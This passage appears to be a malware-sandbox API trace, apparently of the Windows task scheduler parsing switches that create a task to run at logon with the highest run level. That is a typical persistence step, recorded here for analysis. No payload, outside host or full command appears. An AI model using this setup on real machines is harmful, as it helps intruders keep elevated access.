4 [0134.223] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0134.223] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.223] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.223] lstrlenW (lpString="HIGHEST") returned 7 [0134.223] lstrlenW (lpString="-/") returned 2 [0134.223] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0134.223] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.223] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.223] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.223] lstrlenW (lpString="HIGHEST") returned 7 [0134.223] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0134.223] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.223] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.223] _memicmp (_Buf1=0x2236c53a910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.223] lstrlenW (lpString="HIGHEST") returned 7 [0134.223] lstrlenW (lpString="HIGHEST") returned 7 [0134.224] lstrlenW (lpString=" \x09") returned 2 [0134.224] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0134.224] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0134.224] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0134.224] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0134.224] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0134.224] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0134.224] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0134.224] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0134.224] GetLastError () returned 0x0 [0134.224] lstrlenW (lpString="HIGHEST") returned 7 [0134.224] lstrlenW (lpString="HIGHEST") returned 7 [0134.224] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.224] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.224] lstrlenW (lpString="/f") returned 2 [0134.224] lstrlenW (lpString="-/") returned 2 [0134.224] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.224] lstrlenW (lpString="create") returned 6 [0134.224] lstrlenW (lpString="create") returned 6 [0134.224] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.224] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.224] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|create|") returned 8 [0134.224] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.224] lstrlenW (lpString="|create|") returned 8 [0134.224] lstrlenW (lpString="|f|") returned 3 [0134.224] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0134.225] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.225] lstrlenW (lpString="?") returned 1 [0134.225] lstrlenW (lpString="?") returned 1 [0134.225] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.225] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.225] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|?|") returned 3 [0134.225] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.225] lstrlenW (lpString="|?|") returned 3 [0134.225] lstrlenW (lpString="|f|") returned 3 [0134.225] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0134.225] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.225] lstrlenW (lpString="s") returned 1 [0134.225] lstrlenW (lpString="s") returned 1 [0134.225] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.225] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.225] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|s|") returned 3 [0134.225] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.225] lstrlenW (lpString="|s|") returned 3 [0134.225] lstrlenW (lpString="|f|") returned 3 [0134.225] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0134.225] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.225] lstrlenW (lpString="u") returned 1 [0134.225] lstrlenW (lpString="u") returned 1 [0134.225] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.225] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.225] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|u|") returned 3 [0134.225] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.226] lstrlenW (lpString="|u|") returned 3 [0134.226] lstrlenW (lpString="|f|") returned 3 [0134.226] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0134.226] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.226] lstrlenW (lpString="p") returned 1 [0134.226] lstrlenW (lpString="p") returned 1 [0134.226] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.226] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.226] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|p|") returned 3 [0134.226] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.226] lstrlenW (lpString="|p|") returned 3 [0134.226] lstrlenW (lpString="|f|") returned 3 [0134.226] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0134.226] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.226] lstrlenW (lpString="ru") returned 2 [0134.226] lstrlenW (lpString="ru") returned 2 [0134.226] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.226] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.226] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ru|") returned 4 [0134.226] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.226] lstrlenW (lpString="|ru|") returned 4 [0134.226] lstrlenW (lpString="|f|") returned 3 [0134.226] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0134.226] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.226] lstrlenW (lpString="rp") returned 2 [0134.226] lstrlenW (lpString="rp") returned 2 [0134.226] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.227] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.227] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rp|") returned 4 [0134.227] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.227] lstrlenW (lpString="|rp|") returned 4 [0134.227] lstrlenW (lpString="|f|") returned 3 [0134.227] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0134.227] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.227] lstrlenW (lpString="sc") returned 2 [0134.227] lstrlenW (lpString="sc") returned 2 [0134.227] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.227] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.227] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.227] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.227] lstrlenW (lpString="|sc|") returned 4 [0134.227] lstrlenW (lpString="|f|") returned 3 [0134.227] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0134.227] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.227] lstrlenW (lpString="mo") returned 2 [0134.227] lstrlenW (lpString="mo") returned 2 [0134.227] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.227] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.227] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|mo|") returned 4 [0134.228] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.228] lstrlenW (lpString="|mo|") returned 4 [0134.228] lstrlenW (lpString="|f|") returned 3 [0134.228] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0134.228] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.228] lstrlenW (lpString="d") returned 1 [0134.228] lstrlenW (lpString="d") returned 1 [0134.228] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.228] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.228] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|d|") returned 3 [0134.228] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.247] lstrlenW (lpString="|d|") returned 3 [0134.247] lstrlenW (lpString="|f|") returned 3 [0134.247] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0134.247] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.247] lstrlenW (lpString="m") returned 1 [0134.247] lstrlenW (lpString="m") returned 1 [0134.247] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.247] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.247] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|m|") returned 3 [0134.247] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.248] lstrlenW (lpString="|m|") returned 3 [0134.248] lstrlenW (lpString="|f|") returned 3 [0134.248] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0134.248] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.248] lstrlenW (lpString="i") returned 1 [0134.248] lstrlenW (lpString="i") returned 1 [0134.248] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.248] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.248] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|i|") returned 3 [0134.248] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.248] lstrlenW (lpString="|i|") returned 3 [0134.248] lstrlenW (lpString="|f|") returned 3 [0134.248] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0134.248] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.248] lstrlenW (lpString="tn") returned 2 [0134.248] lstrlenW (lpString="tn") returned 2 [0134.248] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.248] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.248] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.248] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.248] lstrlenW (lpString="|tn|") returned 4 [0134.248] lstrlenW (lpString="|f|") returned 3 [0134.248] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0134.248] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.248] lstrlenW (lpString="tr") returned 2 [0134.248] lstrlenW (lpString="tr") returned 2 [0134.248] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.248] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.248] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.248] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.248] lstrlenW (lpString="|tr|") returned 4 [0134.249] lstrlenW (lpString="|f|") returned 3 [0134.249] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0134.249] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.249] lstrlenW (lpString="st") returned 2 [0134.249] lstrlenW (lpString="st") returned 2 [0134.249] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.249] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.249] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|st|") returned 4 [0134.249] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.249] lstrlenW (lpString="|st|") returned 4 [0134.249] lstrlenW (lpString="|f|") returned 3 [0134.249] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0134.249] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.249] lstrlenW (lpString="sd") returned 2 [0134.249] lstrlenW (lpString="sd") returned 2 [0134.249] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.249] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.249] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sd|") returned 4 [0134.249] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.249] lstrlenW (lpString="|sd|") returned 4 [0134.249] lstrlenW (lpString="|f|") returned 3 [0134.249] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0134.249] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.249] lstrlenW (lpString="ed") returned 2 [0134.249] lstrlenW (lpString="ed") returned 2 [0134.249] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.249] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.249] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ed|") returned 4 [0134.249] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.249] lstrlenW (lpString="|ed|") returned 4 [0134.250] lstrlenW (lpString="|f|") returned 3 [0134.250] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0134.250] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.250] lstrlenW (lpString="it") returned 2 [0134.250] lstrlenW (lpString="it") returned 2 [0134.250] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.250] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.250] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|it|") returned 4 [0134.250] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.250] lstrlenW (lpString="|it|") returned 4 [0134.250] lstrlenW (lpString="|f|") returned 3 [0134.250] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0134.250] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.250] lstrlenW (lpString="et") returned 2 [0134.250] lstrlenW (lpString="et") returned 2 [0134.250] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.250] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.250] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|et|") returned 4 [0134.250] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.250] lstrlenW (lpString="|et|") returned 4 [0134.250] lstrlenW (lpString="|f|") returned 3 [0134.250] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0134.250] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.250] lstrlenW (lpString="k") returned 1 [0134.250] lstrlenW (lpString="k") returned 1 [0134.250] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.250] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.250] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|k|") returned 3 [0134.250] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.250] lstrlenW (lpString="|k|") returned 3 [0134.251] lstrlenW (lpString="|f|") returned 3 [0134.251] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0134.251] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.251] lstrlenW (lpString="du") returned 2 [0134.251] lstrlenW (lpString="du") returned 2 [0134.251] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.251] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.251] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|du|") returned 4 [0134.251] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.251] lstrlenW (lpString="|du|") returned 4 [0134.251] lstrlenW (lpString="|f|") returned 3 [0134.251] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0134.251] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.251] lstrlenW (lpString="ri") returned 2 [0134.251] lstrlenW (lpString="ri") returned 2 [0134.251] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.251] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.251] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ri|") returned 4 [0134.251] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.251] lstrlenW (lpString="|ri|") returned 4 [0134.251] lstrlenW (lpString="|f|") returned 3 [0134.251] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0134.251] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.251] lstrlenW (lpString="z") returned 1 [0134.251] lstrlenW (lpString="z") returned 1 [0134.251] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.251] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.251] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|z|") returned 3 [0134.251] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.251] lstrlenW (lpString="|z|") returned 3 [0134.252] lstrlenW (lpString="|f|") returned 3 [0134.252] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0134.252] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.252] lstrlenW (lpString="f") returned 1 [0134.252] lstrlenW (lpString="f") returned 1 [0134.252] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.252] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.252] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.252] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.252] lstrlenW (lpString="|f|") returned 3 [0134.252] lstrlenW (lpString="|f|") returned 3 [0134.252] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0134.252] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.252] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.252] GetProcessHeap () returned 0x2236c530000 [0134.252] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b810 [0134.252] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.252] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0134.252] lstrlenW (lpString="LIMITED") returned 7 [0134.252] GetProcessHeap () returned 0x2236c530000 [0134.252] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x10) returned 0x2236c53a930 [0134.252] GetThreadLocale () returned 0x409 [0134.252] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0134.252] GetProcessHeap () returned 0x2236c530000 [0134.252] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b540 [0134.252] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.252] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0134.252] lstrlenW (lpString="HIGHEST") returned 7 [0134.253] GetProcessHeap () returned 0x2236c530000 [0134.253] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x10) returned 0x2236c53a970 [0134.253] GetThreadLocale () returned 0x409 [0134.253] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0134.253] GetProcessHeap () returned 0x2236c530000 [0134.253] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53ba50 [0134.253] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.253] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0134.253] lstrlenW (lpString="MINUTE") returned 6 [0134.253] GetProcessHeap () returned 0x2236c530000 [0134.253] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xe) returned 0x2236c53a830 [0134.253] GetThreadLocale () returned 0x409 [0134.253] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0134.253] GetProcessHeap () returned 0x2236c530000 [0134.253] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b9c0 [0134.253] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.253] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0134.253] lstrlenW (lpString="HOURLY") returned 6 [0134.253] GetProcessHeap () returned 0x2236c530000 [0134.253] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xe) returned 0x2236c53a990 [0134.253] GetThreadLocale () returned 0x409 [0134.253] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0134.253] GetProcessHeap () returned 0x2236c530000 [0134.253] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b930 [0134.253] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.253] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0134.253] lstrlenW (lpString="DAILY") returned 5 [0134.253] GetProcessHeap () returned 0x2236c530000 [0134.253] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xc) returned 0x2236c53a9b0 [0134.253] GetThreadLocale () returned 0x409 [0134.253] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0134.253] GetProcessHeap () returned 0x2236c530000 [0134.253] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b480 [0134.254] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.254] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0134.254] lstrlenW (lpString="WEEKLY") returned 6 [0134.254] GetProcessHeap () returned 0x2236c530000 [0134.254] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xe) returned 0x2236c53a9f0 [0134.254] GetThreadLocale () returned 0x409 [0134.254] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0134.254] GetProcessHeap () returned 0x2236c530000 [0134.254] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 